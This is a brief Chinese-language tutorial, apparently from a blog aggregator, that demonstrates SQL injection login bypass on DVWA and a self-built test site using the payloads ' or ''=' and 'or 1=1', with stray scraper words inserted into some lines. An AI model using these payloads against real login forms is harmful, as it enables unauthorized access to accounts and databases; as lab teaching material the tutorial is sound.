萬能密碼 'or''='

1 遍歷全部數據庫內容, 並列出。

select user from users where user id = 1 or 1 = 1;
數據庫

 

 dvwa測試以下:測試

 2 實戰演示

 

2.1在咱們搭建的網站中,輸入用戶名admin' 發現能夠被帶到後臺數據庫中執行,併產生如下報錯信息

 

  • 'user_id='admin'' And password='122223''將其修改成一條符合數據庫邏輯的執行語句 
  • 'user_id='隨意寫' And password=''or''=''    #這條語句表示不管前面的正確與否,後面的''=''永遠爲真

  在用戶名中隨意填寫,密碼輸入 'or''=' 就實現了後臺的登陸。咱們構造了一個特殊的參數,是原有的查詢帳號的邏輯發生錯誤,繞過認證登陸系統。至關於構造了這樣一條SQL語句:網站

select user,password from user where user_id = '隨意寫' and password=''or''=''spa

相關文章
相關標籤/搜索